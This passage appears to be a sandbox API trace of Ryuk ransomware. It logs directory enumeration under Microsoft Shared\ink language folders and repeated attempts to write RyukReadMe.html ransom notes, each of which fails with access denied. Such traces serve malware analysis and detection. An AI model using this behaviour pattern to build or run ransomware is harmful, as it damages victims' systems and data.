	[0163.595] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.595] GetLastError () returned 0x5
	[0163.595] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.595] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.595] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c5d0
	[0163.640] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.641] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0163.641] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0163.641] FindClose (in: hFindFile=0x7c5d0 | out: hFindFile=0x7c5d0) returned 1
	[0163.641] SetLastError (dwErrCode=0x0) 
	[0163.641] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.641] GetLastError () returned 0x5
	[0163.642] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.642] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.642] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0163.642] SetLastError (dwErrCode=0x0) 
	[0163.642] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.642] GetLastError () returned 0x5
	[0163.642] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.643] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.643] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c5d0
	[0163.643] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.643] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0163.644] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0163.644] FindClose (in: hFindFile=0x7c5d0 | out: hFindFile=0x7c5d0) returned 1
	[0163.644] SetLastError (dwErrCode=0x0) 
	[0163.644] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.644] GetLastError () returned 0x5
	[0163.644] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.644] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.645] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0163.645] SetLastError (dwErrCode=0x0) 
	[0163.645] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.645] GetLastError () returned 0x5
	[0163.645] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.645] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.645] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c5d0
	[0163.646] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.646] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0163.646] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0163.646] FindClose (in: hFindFile=0x7c5d0 | out: hFindFile=0x7c5d0) returned 1
	[0163.646] SetLastError (dwErrCode=0x0) 
	[0163.646] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.647] GetLastError () returned 0x5
	[0163.647] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.647] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.647] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1
	[0163.647] SetLastError (dwErrCode=0x0) 
	[0163.647] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.648] GetLastError () returned 0x5
	[0163.648] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.648] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.648] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c5d0
	[0163.649] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.649] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0163.649] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0163.649] FindClose (in: hFindFile=0x7c5d0 | out: hFindFile=0x7c5d0) returned 1
	[0163.649] SetLastError (dwErrCode=0x0) 
	[0163.649] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.650] GetLastError () returned 0x5
	[0163.650] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.650] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.650] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a795bf, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x42a795bf, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43f1e320, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0x7c, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1
	[0163.650] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1
	[0163.650] SetLastError (dwErrCode=0x0) 
	[0163.650] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.651] GetLastError () returned 0x5
	[0163.651] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.651] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.651] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c5d0
	[0163.653] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.653] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0163.653] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0163.703] FindClose (in: hFindFile=0x7c5d0 | out: hFindFile=0x7c5d0) returned 1
	[0163.703] SetLastError (dwErrCode=0x0) 
	[0163.703] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.704] GetLastError () returned 0x5
	[0163.704] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.704] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.704] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a593198, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6a593198, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf44c0670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1
	[0163.704] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1
	[0163.704] SetLastError (dwErrCode=0x0) 
	[0163.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.705] GetLastError () returned 0x5
	[0163.705] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.705] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.705] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c5d0
	[0163.706] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.706] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0163.706] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0163.706] FindClose (in: hFindFile=0x7c5d0 | out: hFindFile=0x7c5d0) returned 1
	[0163.706] SetLastError (dwErrCode=0x0) 
